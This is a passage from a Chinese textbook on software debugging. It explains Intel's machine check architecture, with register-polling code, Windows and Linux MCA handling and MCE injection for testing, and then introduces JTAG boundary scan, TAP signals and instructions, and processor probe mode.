MCA各个错误报告寄存器的源代码,整个程序的完整代码位于
chap06\McaViewer目录中。
清单6-3 读取MCA的错误报告寄存器
1 #define MCA_MCIBANK_BASE 0x400
2 void CMcaPoller::PollBanks(CListBox &lb)
3 {
4 MSR_STRUCT msr;
5 TCHAR szMsg[MAX_PATH];
6 //
7 LPCTSTR szBankMSRs[]={"CTRL","STAT","ADDR","MISC"};
8 // 每个Bank 4个MSR寄存器,我们把它们的名字
9 //显示为相等长度
10 //
11
12 if(m_nTotalBanks<=0)
13 DetectMCA(lb);
14 if(m_nTotalBanks<=0)
15 return;
16
17 msr.MsrNum=MCA_MCIBANK_BASE;
18 for(int i=0;i<m_nTotalBanks;i++)
19 {
20 //循环显示每个寄存器
21 for(int j=0;j<4;j++)
22 {
23 if(m_DvrAgent.RDMSR(msr)<0)
24 sprintf(szMsg,"Failed in reading [%s]_MSR at bank %d.",
25 szBankMSRs[j],i);
26 else
27 sprintf(szMsg,"[%s]_MSR at bank [%d]:%08X-%08X",
28 szBankMSRs[j],i,msr.MsrHi,msr.MsrLo);
29 lb.AddString(szMsg);
30 msr.MsrNum++;
31 }
32 }
33 }
因为IA-32架构将错误报告寄存器的起始地址确定为0x400,每组包
含4个寄存器,所以只要使用两层循环就可以很简单地遍历所有寄存器
了。值得说明的是,并不是每一组都全部实现4个寄存器,应该根据每
组的状态寄存器(STATUS)来判断该组是否包含地址(ADDR)和附
加信息(MISC)寄存器。以上代码省略这个判断,因此图6-6包含了几
条读取MISC和ADDR寄存器失败的记录。
6.3.3 在Windows系统中的应用
在Windows系统中,内核会负责处理机器检查异常,并提供接口给
其他驱动程序或上层应用程序。从Windows XP开始,硬件抽象层
(HAL)便包含了对MCA的基本支持,并可通过
HalSetSystemInformation()注册更复杂的MCA处理例程。
McaDriverInfo.ExceptionCallback = MCADriverExceptionCallback;
McaDriverInfo.DpcCallback = MCADriverDpcCallback;
McaDriverInfo.DeviceContext = McaDeviceObject;
Status = HalSetSystemInformation(
HalMcaRegisterDriver,
sizeof(MCA_DRIVER_INFO),
(PVOID)&McaDriverInfo
);
Windows XP的DDK包含了一个完整的例子,名为
IMCA(DDKROOT\src\kernel\mca\imca)。感兴趣的读者可以进一步阅
读其代码或对其进行编译安装。
Windows Server 2003 DDK的示例源代码包含了一个名为mcamgmt
的小程序(路径为DDKROOT\src\kernel\mca\mcamgmt),演示了如何
通过WMI接口查询、读取和解析MCA信息。图6-7是在Windows 10系统
上运行这个小程序的截图。
图6-7 DDK中的MCA管理工具
遗憾的是,在较新的WDK/DDK(如Windows 7或者Windows 10)
中根本找不到上述两个例子,不知出于什么原因被移除了。
老雷评点
DDK中的例子越来越少,估计是在升级时某些例子出现了
兼容或者其他问题,于是最简单的解决方法就是删除。岂不知在
删除一个个经典示例的同时,也会对Windows的未来造成伤害。
当有不可纠正的机器检查错误发生时,Windows会出现蓝屏
(BSOD),并终止系统运行,对应的Bug Check编号是
0x9C(MACHINE_CHECK_EXCEPTION)。对于支持MCA和处理器,
4个参数分别如下。
参数1:发生错误的错误报告寄存器组编号。
参数2:包含MCA异常信息的MCA_EXCEPTION结构体地址。
参数3:发生错误的MCi_STATUS寄存器的高32位。
参数4:发生错误的MCi_STATUS寄存器的低32位。
比如,打开作者搜集的一个9c蓝屏时产生的转储文件,可以看到如
下停止码和参数:
BugCheck 9C, {0, fffff801050b8ba0, 0, 0}
大括号中的第二个参数是MCA_EXCEPTION结构体的地址,可以
这样观察:
0: kd> dt _MCA_EXCEPTION fffff801050b8ba0
nt!_MCA_EXCEPTION
+0x000 VersionNumber : 1
+0x004 ExceptionType : 0 ( HAL_MCE_RECORD )
+0x008 TimeStamp : _LARGE_INTEGER 0x1d1476c`71b7e224
+0x010 ProcessorNumber : 0
+0x014 Reserved1 : 0
+0x018 u : <unnamed-tag>
+0x038 ExtCnt : 0
+0x03c Reserved3 : 0
+0x040 ExtReg : [24] 0
Windows Vista操作系统设计了更完善的机制来管理硬件一级的错
误,这一机制称为WHEA(Windows Hardware Error Architecture)。我
们将在第17章中详细介绍操作系统对MCA的支持机制及WHEA。
6.3.4 在Linux系统中的应用
浏览Linux内核的源代码,可以在kernel/cpu/mcheck/目录下找到与
机器检查有关的多个源文件。这些源文件中,mce.c是核心,里面包含
了如下两个重要的初始化函数。
mcheck_cpu_init,用于检测处理器的机器检查特征。这个函数会被
外部的CPU初始化函数(identify_cpu,位
于/arch/x86/kernel/cpu/common.c)所调用。
mcheck_init_device。它会调用subsys_system_register创建一个子系
统,然后调用mce_device_create为每个CPU创建一个设备对象。对
于每个设备对象,会创建多个属性。利用Linux内核虚拟文件系
统,可以观察这些设备对象(子目录)和属性(文件)。
例如,对于作者使用的SENY MINI PC系统,
在/sys/devices/system/machinecheck目录下可以看到4个子目录:
machinecheck0~ machinecheck3。
/sys/devices/system/machinecheck$ ls
machinecheck0 machinecheck1 machinecheck2 machinecheck3 power uevent
每个子目录对应一个CPU,进入到其中的一个,比如
machinecheck0,可以看到多个属性文件:
/sys/devices/system/machinecheck/machinecheck0$ ls
bank0 bank2 bank4 bank6 cmci_disabled ignore_ce power tolerant ueven
t bank1 bank3 bank5 check_interval dont_log_ce monarch_timeout subsyst
em trigger
在mce.c中定义了一个全局变量mca_cfg,其结构体定义为:
struct mca_config {
bool dont_log_ce;
bool cmci_disabled;
bool lmce_disabled;
bool ignore_ce;
bool disabled;
bool ser;
bool bios_cmci_threshold;
u8 banks;
s8 bootlog;
int tolerant;
int monarch_timeout;
int panic_timeout;
u32 rip_msr;
};
在使用KGDB调试时,可以使用如下命令来观察这个结构体,了解
MCA有关的配置信息:
(gdb) p mca_cfg
$1 = {dont_log_ce = false, cmci_disabled = false, lmce_disabled = false, i
gnore_ce = false, disabled = false, ser = false, bios_cmci_threshold = fal
se, banks = 7 '\a', bootlog = -1 '\377', tolerant = 1, monarch_timeout = 1
000000, panic_timeout = 30, rip_msr = 0}
在mce.c中,经常可以看到一个名为mce的结构体,其定义如下:
struct mce {
__u64 status;
__u64 misc;
__u64 addr;
__u64 mcgstatus;
__u64 ip;
__u64 tsc; /* cpu time stamp counter */
__u64 time; /* wall time_t when error was detected */
__u8 cpuvendor; /* cpu vendor as encoded in system.h */
__u8 inject_flags; /* software inject flags */
__u8 severity;
__u8 usable_addr;
__u32 cpuid; /* CPUID 1 EAX */
__u8 cs; /* code segment */
__u8 bank; /* machine check bank */
__u8 cpu; /* cpu number; obsolete; use extcpu now */
__u8 finished; /* entry is valid */
__u32 extcpu; /* linux cpu number that detected the error */
__u32 socketid; /* CPU socket ID */
__u32 apicid; /* CPU initial apic ID */
__u64 mcgcap; /* MCGCAP MSR: machine check capabilities of CPU
*/
};
简单来说,这个结构体是用来机器检查异常的档案,因为机器检查
异常是CPU相关的,所以在mce.c中,使用DEFINE_PER_CPU宏为每个
CPU定义了两个变量:mces_seen和injectm:
static DEFINE_PER_CPU(struct mce, mces_seen);
DEFINE_PER_CPU(struct mce, injectm);
前者用来描述发生在所属CPU的机器检查异常的详细信息,后者用
来实现MCE注入,通常用于测试。注入MCE的简单步骤如下。
① 先执行sudo modprobe mce-inject加载mce-inject驱动。
② 下载和编译mce-inject测试工具。
$ git clone <a>https://github.com/andikleen/mce-inject.git</a>
$ sudo apt-get install flex bison
$ cd mce-inject
$ make
③ 执行mce-inject程序注入错误,比如sudo ./mce-inject
test/corrected,参数是一个文本文件,内容包含着注入错误的详细参
数。
执行cat /proc/interrupts观察系统中的中断信息,可以看到有两行与
MCE有关的信息:
MCE: 0 0 0 0 Machine check exception
s
MCP: 21 21 20 20 Machine check polls
上面一行是MCE异常,与Windows中的KiMcheckAbort作用类似。
下面一行是计时器(timer)性质的,用于定期检查(轮询)是否有机器
检查错误发生。中间的 4 列数字代表对应异常和中断在每个CPU上的发
生次数(系统中共有4个逻辑CPU)。
老雷评点
如果读者希望此处看到关于ARM一节,此亦老雷之所望。
不过搜遍ARM ARM(两个ARM含义不同,见第2章),并没有
与MCA类似之设施,或许将来会有,或许已经存在,但秘而不
宣。
6.4 本章小结
本章介绍了IA CPU的机器检查架构(MCA)。MCA既代表了CPU
自身的可调试性,同时也对调试系统级错误及硬件错误提供了支持。
参考资料
[1] Intel 64 and IA-32 Architectures Software Developer’s Manual
Volume 3A. Intel Corporation.
[2] Intel 64 and IA-32 Architectures Software Developer’s Manual
Volume 3B. Intel Corporation.
[3] Tom Shanley. The Unabridged Pentium 4: IA-32 Processor
Genealogy[M]. Boston: Addison Wesley, 2004.
第7章 JTAG调试
大多数软件调试任务是在可以启动的系统上进行的。这些系统上已
经具有了基本的运行环境,可以启动到图形化的操作界面或某种形式的
命令行,可以运行调试器或基本的调试工具。那么,如果在基本的启动
过程中出现故障,比如系统开机后还没有启动到任何可以操作的界面就
停滞不前了,应该如何调试呢?当开发一个新的计算机系统(比如主
板)或基本的启动软件及系统软件时也有类似的问题。针对这些问题的
一种基本解决方案就是使用基于JTAG技术的硬件调试工具。硬件调试
工具的最大优点就是不需要在目标系统上运行任何软件,可以在目标系
统还不具备基本的软件环境时进行调试,因此,JTAG调试非常适合调
试BIOS、操作系统的启动加载程序(boot loader),以及使用软件调试
器难以调试的特殊软件。
本章首先介绍硬件调试工具的简单发展历程(见7.1节),然后介
绍JTAG的工作原理(见7.2节)和典型应用(见7.3节)。7.4节和7.5节
将分别介绍英特尔CPU和ARM CPU的JTAG支持、调试端口和硬件调试
器。
7.1 简介
随着印刷电路板(Print Circuit Board,PCB)和集成电路
(Integrated Circuit,IC)的不断发展和普及,验证和调试PCB及IC的难
度也在不断加大。早期的芯片大多管脚较少且封装工艺简单,例如8086
有40个管脚,使用的是DIP(Dual In-Line Package)封装方式。当这样
的芯片安插在电路板上后,可以很容易地测试到每个管脚的信号。另
外,当时电路板的面积也相对较大,线路比较稀疏,可以比较容易测量
到各个管脚或元器件的电压、波形等信息。
不过,单纯观察某几个管脚的信号通常难以解决比较复杂的问题,
比如某个芯片与其他芯片间的通信问题,于是在20世纪70年代出现了在
线仿真(In-Circuit Emulation,ICE)技术。
7.1.1 ICE
简单来说,ICE调试就是用一个专门的仪器(调试工具)暂时替代
要调试的芯片(通常是微处理器),让其与被调试系统的其他硬件一起
工作,并运行被调试的软件,这个仪器会模拟原来芯片的功能,因此人
们通常将该仪器称为仿真器(emulator)。由于仿真器是针对调试目的
而设计的,因此它集成了各种调试功能,比如单步执行、观察寄存器
等。
典型的ICE调试通常由3大部分组成:被调试的目标系统(又称下位
机)、用于调试的主机(又称上位机)和仿真器。仿真器通过专门设计
的接口接入到目标系统中,并且通过电缆和上位机相连接。
ICE调试技术一出现,很快就被广泛地使用,直到今天,ICE调试
仍然是调试嵌入式系统的一种常用方法。可以进行单机内核调试的著名
软件调试器SoftICE的名称就来源于硬件仿真器,暗指具有类似于
ICE(In-Circuit Emulation)的强大功能。
ICE调试的主要问题是调试不同类型或型号的芯片(微处理器)通
常需要使用不同的仿真器。因为仿真器与目标系统的连接方式是与目标
芯片的封装结构紧密相关的,要使仿真器连入目标系统,通常必须使用
针对目标芯片开发的仿真器。为了缓解这一问题,很多调试工具厂商把
仿真器与目标系统连接的部分(仿真头,header)独立出来,以便增加
仿真器的适用面,但仍没有从根本上解决问题。另外,芯片的升级速度
通常超过仿真器的发展速度,一个新的芯片或者现有芯片的新版本出现
后,能够仿真它的仿真器要过一段时间才能出现,难以及时满足市场的
需要。
7.1.2 JTAG
当传统方式的ICE调试遇到以上问题的同时,最原始的手工测试方
法(直接测量管脚或元器件)也变得越来越困难。一方面,随着集成电
路技术的发展,在芯片功能不断增强的同时,芯片的管脚数量不断增
加,封装方式也不断革新。如采用LGA775封装的奔腾4 CPU有775个管
脚,需要通过专门的插槽固定在主板上,这样不仅从正面看不到管脚,
而且背面也很难找到,因为能够支持奔腾4 CPU的主板,其印刷电路板
大多是多层的(通常为4层)。另一方面,随着芯片速度和信号频率的
不断提高,PCB的布线要求也越来越严格,线路的长短和走向都必须遵
循严格的规定。因此,观察主板电路时,我们会发现密如蛛网的线路穿
上穿下。对于这样密集的电路,直接测量线路信号不仅非常困难,还容
易损坏板上的芯片或元器件。
如果不解决以上问题,就会影响和制约集成电路的进一步发展,人
们很快就意识到了问题的严重性。于是在1985年,一些大的电子和半导
体厂商联合成立了一个工作小组,目的是寻找一种统一的方案来解决电
路板级(board level)的测试问题,然后使其成为一个工业标准。这个
小组的名称叫Joint Test Action Group,简称JTAG。JTAG小组提出的方
案在1990年得到了IEEE(电气和电子工程师协会)的批准,并被定名为
Test Access Port and Boundary Scan Architecture(测试访问端口和边界扫
描架构),简称IEEE 1149.1—1990。由于该标准是由JTAG组织制定
的,因此更多时候人们还是称其为JTAG标准,并将基于该标准的调试
方法称为JTAG调试。
1993年和1995年,IEEE对JTAG标准做了两次补充,分别称为IEEE
1149.1a—1993和IEEE 1149.1b—1995。
JTAG标准推出后,得到了广泛的认可和支持,有着非常广泛的应
用,本章后面的章节将集中介绍它的原理和应用。
7.2 JTAG原理
JTAG的核心思想就是将测试点和测试设施集成在芯片内部(build
test facilities/test points into chip),并通过一组标准的信号(接口)向
外输出测试结果,这些标准信号称为TAP(Test Access Port)信号。有
了标准的TAP信号,基于JTAG技术的调试工具就可以与这个芯片进行
通信,而不必关心它内部的实现细节。这样,一个JTAG调试工具就可
以比较容易地调试很多种芯片。这与软件设计中的对象抽象思想非常类
似。
为了支持JTAG,芯片内部通常需要实现一个边界扫描链路和一个
TAP控制器。下面我们将分别讨论。
7.2.1 边界扫描链路
在支持JTAG技术的芯片内会为每个需要测试的输入输出管脚配备
一个移位寄存器单元(移位寄存器的一个位),称为边界扫描单元
(Boundary-Scan Cell,BSC)。简单理解,BSC就是一个可控制的信号
采集器,可以让信号直接通过,也可以将信号(电平值)记录下来。
一个芯片内的多个边界扫描单元通常被串联起来,形成一个链路,
这称为边界扫描链(Boundary-Scan Chain),如图7-1所示。
图7-1 边界扫描示意图
图7-1所示的是包含边界扫描单元的一个简单芯片的示意图,图中
画出了针对两个正常信号(NDI和NDO)的JTAG链路,每个信号配备
一个边界扫描单元(BSC),两个BSC串联起来形成一个简单的链路。
中央的矩形表示芯片的内部逻辑,NDI(Normal Data Input)代表正常
的数据输入信号,NDO代表正常的数据输出信号,TDI代表测试数据输
入信号,TDO代表测试数据输出信号。当芯片正常工作时,NDI和NDO
信号自由穿过BSC,对芯片的本身逻辑不产生任何影响。在边界测试模
式(boundary-test mode)下,根据需要,BSC可以有如下两种工作模
式。
(1)对于外部测试(external testing),也就是当测试该芯片与外
围电路或者与其他芯片互连时,输出管脚处的BSC可以将由TDI输入的
测试触发(test stimulus)输出给外部器件;输入管脚处的BSC可以捕捉
到来自外部的输入并将结果通过TDO输出给外界的调试器观察。在这种
模式下,芯片本身的内部逻辑好像被替换掉,它的输入被发送到外部的
调试器,它的输出也是外部调试器所指定的。因此通过这种方法,可以
实现我们前面介绍的仿真调试(ICE)。
(2)对于内部测试(internal testing),也就是当测试芯片内部的
应用逻辑时,输入管脚处的BSC会将通过TDI输入的测试触发发给芯
片,输出管脚处的BSC会将芯片的输出捕捉下来并通过TDO发给外部的
调试器。这样可以很容易地监视到芯片的输出信号,解决了前面说的管
脚信号难以测量的问题。
在对BSC有了基本的了解后,理解JTAG工作原理的另一个重要问
题就是如何控制和访问BSC。要回答这个问题,我们需要了解JTAG的
控制机制,即测试访问端口(Test Access Port,TAP)。
图7-2所示的是一个支持JTAG调试/测试的芯片的更多细节。
图7-2 Test Access Port工作原理示意图
下面我们从3个角度来理解这幅图:TAP信号、TAP寄存器和TAP控
制器(TAP controller)。
7.2.2 TAP信号
JTAG标准定义了以下5个标准信号供外部调试器和被调试芯片通
信。
(1)TCK(Test Clock):测试时钟输入信号,TAP的所有操作都
是通过这个信号来驱动的。TCK与芯片本身的时钟信号是分开的。这样
做的好处是,只要它们符合JTAG标准,就可以通过一个TCK信号来驱
动同一电路板上多个不同频率的芯片。
(2)TMS(Test Mode Selection):测试模式选择输入信号,TMS
信号用来控制TAP状态机(将在下文详述)的转换。通过TMS信号,可
以控制TAP在不同的状态间相互转换。TMS信号在TCK的上升沿有效。
(3)TDI(Test Data Input):测试数据输入信号,TDI是数据输入
的通道。所有要输入到特定寄存器的数据都是通过TDI一位一位串行输
入的(由TCK驱动)。TDI信号在TCK的上升沿有效。
(4)TDO(Test Data Output):测试数据输出信号,TDO是输出
数据的通道。所有要从JTAG寄存器中输出的数据都是通过TDO一位一
位串行输出的(由TCK驱动)。TDO信号在TCK的下降沿有效。
(5)TRST(Test Reset):测试复位信号,TRST可以用来对TAP
控制器进行复位(初始化)。TRST在IEEE 1149.1标准里是可选的。因
为通过TMS也可以对TAP控制器进行复位(初始化)。
IEEE 1149.1标准规定前4个信号是必须实现的,而且不论芯片的种
类和其他管脚有多大差异,这几个信号的工作方式是不变的,这为调试
工具的标准化提供了很好的基础。换句话说,芯片可以通过这4个或5个
标准化的信号来隐藏其内部结构和外部形状(封装工艺)的差异,只要
芯片按照标准实现这几个信号,那么它就可以与JTAG调试器通信,让
用户可以使用JTAG所支持的强大调试功能。这是 JTAG标准被广泛支持
的重要原因。
7.2.3 TAP寄存器
JTAG标准定义了如下几种寄存器,其中有些是必须实现的,有些
根据芯片的设计需要,是可选实现的。
(1)指令寄存器:用来选择需访问的数据寄存器,或者选择需要
执行的测试。每个支持JTAG调试的芯片必须包含一个指令寄存器。
(2)旁路(Bypass)寄存器:一位的移位寄存器,用以当不需要
进行任何测试的时候,在TDI和TDO之间提供一条长度最短的串行路
径。这样允许测试数据可以快速地通过当前芯片到板上的其他芯片上
去。
(3)设备ID寄存器:用以标示芯片生产厂商及版本信息,使调试
器可以自动识别当前调试的是什么芯片。
(4)边界扫描(Boundary-Scan)寄存器:边界扫描寄存器的每一
位就是我们前面介绍的一个边界扫描单元(BSC),因此,一个边界扫
描链就是一个边界扫描寄存器,访问边界扫描寄存器就相当于访问边界
扫描链中的边界扫描单元。换言之,可以通过操控边界扫描寄存器,来
实现对测试器件的输入输出信号进行观测和控制,以达到测试或调试的
目的。
所有TAP寄存器可以分为指令寄存器和数据寄存器两类。旁路寄存
器、设备ID寄存器和边界扫描寄存器都属于数据寄存器。除了设备ID寄
存器外,其他几个都是必须实现的。JTAG标准允许芯片设计厂商实现
更多的数据寄存器和指令寄存器(称为私有指令寄存器)。
7.2.4 TAP控制器
TAP控制器(TAP controller)既是驱动TAP各部件工作的发动机,
又是指挥指令和数据寄存器协同工作的控制中枢。从实现来看,TAP控
制器是一个包含 16 个状态的有限状态机。在TMS信号的驱动下,TAP
在各个状态间切换,实现各种操作。这个状态机的所有状态和转换关系
如图7-3所示,其中的箭头表示所有可能的状态转换流程。箭头旁边的
数字表示选择该转换流程的条件,也就是TMS的值(电平)。举例来
说,如果当前状态为Capture-DR(捕捉数据寄存器),而且在TCK的下
一个上升沿时TMS=0,那么TAP控制器就进入Shift-DR状态(对当前数
据寄存器移位);如果在TCK的下一个上升沿时TMS= 1,那么TAP控
制器进入Exit1-DR状态(退出移位状态)。
图7-3 TAP控制器的有限状态机模型
在16个状态中,有6个稳定状态:Test-Logic-Reset、Run-Test/Idle、
Shift-DR、Pause-DR、Shift-IR和Pause-IR,即状态机可以停留在这些状
态上。例如在Shift-DR状态,如果下一个TMS值是0,那么状态机仍然
处于该状态上,这样便实现了循环移位操作。
从图7-3中,我们还可以看到该状态机有两个主要的状态序列:针
对数据寄存器的××-DR序列和针对指令寄存器的××-IR序列。从Run-
Test/Idle状态开始,如果下一个TMS值是0,那么状态机就停留在这个状
态上,即处于空闲状态(Idle);如果是1,那么状态机就进入Select-
DR-Scan状态;如果再下一个TMS是0,那么便进入Capture-DR状态,接
下来可以选择对数据寄存器进行各种操作。如果当前状态是Idle,下一
个TMS是1,那么便进入Select-IR-Scan状态,用以选择进入对指令寄存
器进行各种操作的状态,以此类推,不再赘述。
7.2.5 TAP指令
TAP指令用来通知TAP控制器应该执行何种操作。JTAG标准定义
了9条指令,其中有3条是必须要实现的,其余6条是可选的。芯片设计
者也可以定义其他指令。JTAG标准没有指定指令的长度,芯片设计者
可以根据具体情况制定。
(1)BYPASS指令(必须实现):选中旁路寄存器,使其将TDI和
TDO连接起来形成通路,从而可以让测试数据没有影响地流过该芯片。
JTAG标准规定该指令代码的所有位必须为1。
(2)SAMPLE/PRELOAD指令(必须实现):选中边界扫描寄存
器,使其与TDI和TDO形成通路,然后利用数据扫描操作访问边界扫描
寄存器:将各个边界扫描单元中的内容送出去,实现对芯片的输入输出
信号进行采样的目的,或者向边界扫描单元预先装载(preload)数据,
供EXTEST指令使用。
(3)EXTEST指令(必须实现):使芯片进入外部测试模式
(external boundary-test mode),同时选中边界扫描寄存器,使其与TDI
和TDO形成通路。在该模式下,输入信号处的边界扫描单元会记录下输
入信号的值,输出信号处的边界扫描单元会将测试数据向外输出给外部
的其他器件(可以是不支持JTAG的)。JTAG标准规定该指令的代码所
有位必须为0。
(4)INTEST指令(可选):使芯片进入内部测试模式(internal
boundary-test mode),同时选中边界扫描寄存器,使其与TDI和TDO形
成通路。在该模式下,输入信号处的边界扫描单元会将自己的值送给芯
片,输出信号处的边界扫描单元会记录下芯片的输出信号。
(5)RUNBIST指令(可选):使芯片进入自检模式(built-in self-
test mode),同时选中用于自检的用户定义的(user-specified)数据寄
存器,使其与TDI和TDO形成通路。在该模式下,边界扫描单元使芯片
处于孤立的状态——不受输入的影响,其输出也不影响其他部件。
(6)CLAMP指令(可选):将输出信号处的边界扫描单元的值输
出给外部电路。在加载这个指令之前,可以使用SAMPLE/PRELOAD事
先将边界扫描单元的值准备好。该指令会选中旁路寄存器,使其与TDI
和TDO形成通路。
(7)HIGHZ指令(可选):使芯片的所有输出信号(包括two-
state和three-state信号)进入禁止(高危,high-impedance)状态。该指
令会选中旁路寄存器,使其与TDI和TDO形成通路。
(8)IDCODE指令(可选):使芯片保持正常工作的同时,选中
设备ID寄存器,使其与TDI和TDO连接形成通路,以便通过数据扫描操
作将设备ID寄存器的内容输出给调试器。
(9)USERCODE指令(可选):与IDCODE类似用来读取附加的
设备信息。
本节简要介绍了JTAG技术的基本原理,其细节超出了本书的范
围,感兴趣的读者可以阅读参考文献中列出的资料。
7.3 JTAG应用
JTAG标准一经推出,便得到了广泛的认可和支持,并被应用到众
多领域中。以下列出的只是一小部分的典型应用。
(1)设计验证和调试。例如对芯片进行在线仿真(ICE)调试;访
问芯片的自检功能(使芯片开始自检,然后读取自检结果);通过边界
扫描采集信号,进行芯片、电路板和系统测试;下载和上传程序或数据
(比如刷新EEPROM或FLASH,读写内存)等。关于调试方面的应
用,本节后文会详细论述。
(2)生产测试。利用JTAG的串行化能力,进行大规模的自动化测
试。比如可以把要测试的部件通过一个简单的总线串联起来,在系统控
制台发布测试指令,测试结果通过JTAG信号传回控制台以供分析。
(3)系统配置和维护。对于数据中心、电站等单位,可以利用
JTAG标准采集或发送数据,以配置各种不同的设备。
7.3.1 JTAG调试
典型的JTAG调试环境由3大部分组成:被调试系统、调试机和将二
者联系起来的JTAG工具(见图7-4)。被调试系统又称为下位机,通常
是正处于开发过程中的一套组件,包括主板、CPU等部件。调试机又称
为主机(host)或上位机,可以是普通的台式机、笔记本电脑等。
图7-4 JTAG调试示意图
JTAG工具通常由以下几部分组成。
(1)下位机接口:即与被调试系统上的调试端口(debug port)进
行连接的物理接口和电缆。对于不同厂商的CPU,其调试端口的信号数
量和物理形式有所不同,因此也就要求JTAG工具需要有不同的接口与
之连接。但因为调试端口包含的信号中真正用到的主要是5路JTAG信
号,所以很多JTAG工具厂商都设计了各种各样的转接口,以便支持更
多的目标系统。本节下文会详细介绍与IA架构的被调试系统相连接的各
种方式。
(2)缓存和控制仪:JTAG工具的核心部件,通常是一个小盒子,
用于通过JTAG协议与目标系统的被调试芯片通信。它的面板上有一些
基本的显示和控制界面(开关等),其内部主要包含有接口电路、控制
电路和用于缓存(buffer)数据的存储器。这个小盒子的名称有几种叫
法,如JTAG调试器、JTAG仿真器等,或者干脆就称为硬件调试器。
(3)上位机接口:与调试机(debugger)连接的物理接口和电
缆。通常有两种形式:一种是通过专用的PCI插卡插入调试机的PCI插槽
中;另一种是使用USB这样的通用接口,只要插入调试机的空闲USB口
即可。
(4)调试软件:供调试人员调试目标系统的软件环境,通常是一
个增强的软件调试器,除了具备普通软件调试器的各种调试功能外,它
还具有增强的设置JTAG端口、设置硬件断点、查看目标系统的底层信
息等各种功能。
基于JTAG标准的调试工具有很多,其名称也各不相同,如××仿真
器、××ICE、××调试器等。尽管有些文档将ICE调试和JTAG调试混淆使
用,但是我们应该清楚这两个术语本质上是有差异的。ICE的内涵就是
指用调试工具“冒充”被调试系统中的某一部件(常常是微处理器)以实
现观察和调试目标系统的目的。可以将ICE理解为一种调试思想,有很
多种具体手段来实现这种思想。而JTAG调试是指基于JTAG标准(边界
扫描技术和TAP)的一种实现途径,它支持包括ICE在内的各种调试功
能。总之,ICE调试和JTAG调试是两种不同角度的命名方法,它们之间
既有联系,又有区别。
7.3.2 调试端口
调试端口(debug port是指被调试系统上用来与调试工具连接的物
理接口或接头(header)——通常是位于电路板上的一个方形接口(接
头)。以针对IA-32处理器设计的主板为例,调试端口主要有ITP(30
针)、ITP700(25针)和XDP(60针)3种(见7.4节)。
尽管大多数主板上都留有调试端口所需的电路,在开发阶段的样板
中也配有调试端口,但是在大批量生产时往往不再焊接调试接头。那
么,如果要再调试这样的系统怎么办?一种常见的方法就是使用图7-5
所示的转接头(interposer)。将该接头插到目标主板的插槽上,然后再
将CPU插在该接头上——该接头带有调试端口。对于不同的CPU插槽,
应该使用不同的转接头。
图7-5 带有调试端口的CPU转接头(interposer)
7.4 IA处理器的JTAG支持
奔腾处理器是IA处理器中最早实现JTAG支持的处理器,其后的IA-
32处理器也都包含了这一支持。下面先以P6系列处理器为例介绍IA-32
处理器的JTAG支持,然后介绍探测模式和ITP/XDP端口。
7.4.1 P6处理器的JTAG实现
首先,P6处理器的管脚包含了JTAG标准定义的所有5种信号,即测
试时钟信号TCK、测试模式选择信号TMS、测试数据输入信号TDI、测
试复位信号TRST#和测试数据输出信号TDO。
P6处理器实现了7条TAP指令,其中包括3条JTAG标准规定必须实
现的指令和4条可选指令。P6处理器的TAP指令的长度为6个比特位,其
操作码定义见表7-1。
表7-1 P6处理器的TAP指令(选自《P6系列处理器硬件开发手册》)
TAP 指令
操作码
处理器管
脚输入来
源
选中的
TAP数据
寄存器
状 态 动 作
Run-Test
/Idle
Capture-
DR
Shift-
DR
Update-
DR
EXTEST
000000 边界 扫描
单元
边界扫描
寄存器
—
对所有处理
器的管脚采
样
移位
数据
寄存
器
更新数
据寄存
器
SAMPLE/
PRELOAD 000001 —
边界扫描
寄存器
—
对所有处理
器的管脚采
样
移位
数据
寄存
器
更新数
据寄存
器
IDCODE
000010 —
设备ID
寄存器
—
加载处理器
的唯一标识
代码
移位
数据
寄存
器
—
CLAMP
000100 边界 扫描
单元
旁路 寄
存器
—
复位旁路寄
存器
移位
数据
寄存
器
—
RUNBIST
000111 边界 扫描
单元
BIST结
果寄存器
开始自检
测试
(BIST)
捕捉自检结
果
移位
数据
寄存
器
—
HIGHZ
001000 悬置
(floated)
旁路 寄
存器
—
复位旁路寄
存器
移位
数据
寄存
器
—
BYPASS
111111 —
旁路 寄
存器
—
复位旁路寄
存器
移位
数据
寄存
器
—
表7-1的第3列是相应指令执行期间处理器核心的输入来源,第4列
是指令要选中的数据寄存器,第5~8列是指在状态机的Run-Test/Idle、
Capture-DR、Shift-DR和Update-DR状态时TAP控制器所采取的动作。以
RUNBIST指令为例,其指令编码(操作码)为000111,在此指令执行
期间,处理器的输入是由边界扫描单元驱动的,RUNBIST指令会选中
BIST结果寄存器,使其与TDI和TDO形成通路,在Run-Test/Idle状态,
TAP控制器执行的操作是开始自检测试(Built-In Self Test,BIST),在
Capture-DR状态,会将自检结果捕捉到BIST结果寄存器,在Shift-DR状
态,会对BIST结果寄存器进行移位操作。
表7-2列出了P6处理器的所有TAP数据寄存器、每个寄存器的长度
和选中该寄存器的TAP指令。
表7-2 P6处理器的TAP数据寄存器
TAP数据寄存器
长 度
哪些指令会选中该寄存器
旁路寄存器
1
BYPASS、HIGHZ、CLAMP
设备ID寄存器
32
INCODE
BIST 结果寄存器
1
RUNBIST
边界扫描寄存器
159
EXTEST、SAMPLE/PRELOAD
边界扫描寄存器的长度是159个比特位,这与P6处理器的输入输出
信号的数量相吻合,也就是每个输入输出信号都配备有一个边界扫描单
元,用以控制和记录该信号。
设备ID寄存器的长度是32位,被划分成几个部分用以表示版本型号
等信息,详细定义见表7-3。
表7-3 P6处理器的设备ID寄存器
版本
产品编号
厂商
ID
1 整 个 代 码
Vcc 产品
类型
Generation(第
几代)
型号
长度
4
1
6
4
5
11
1 32
二进
制
XXXX 0
000001 0110
00011 00011 1 XXXX300000101100
0011000000010011
十六
进制
X
0
01
6
03
09
1 X02c3013
7.4.2 探测模式
下面介绍IA-32处理器的探测模式(Probe Mode)。探测模式是专
门用于调试的一种处理器内部模式。与实模式和保护模式这些软件可以
控制的操作模式不同,只有通过专门的管脚信号和边界扫描寄存器才可
以访问探测模式。在探测模式下,CPU中断正常的操作,从外部看就好
像处于休眠的状态,但通过调试工具可以与其通信,分析并修改系统的
状态,包括内存、I/O空间和各种寄存器。以奔腾处理器为例,调试工
具可以通过将R/S#管脚信号置低电平要求处理器进入探测模式。当处理
器检测到该信号后,完成正在执行的指令后,便停止执行下一条指令
(freeze on next instruction boundary),并设置PRDY(Probe Ready)信
号。调试工具发现PRDY信号后,便可以通过JTAG协议向目标处理器发
送各种调试命令和数据了,比如观察内存、设置断点等。在调试工具完
成设置后,可以通过解除R/S#信号(恢复其高电平)使处理器退出探测
模式,恢复执行原来的程序。
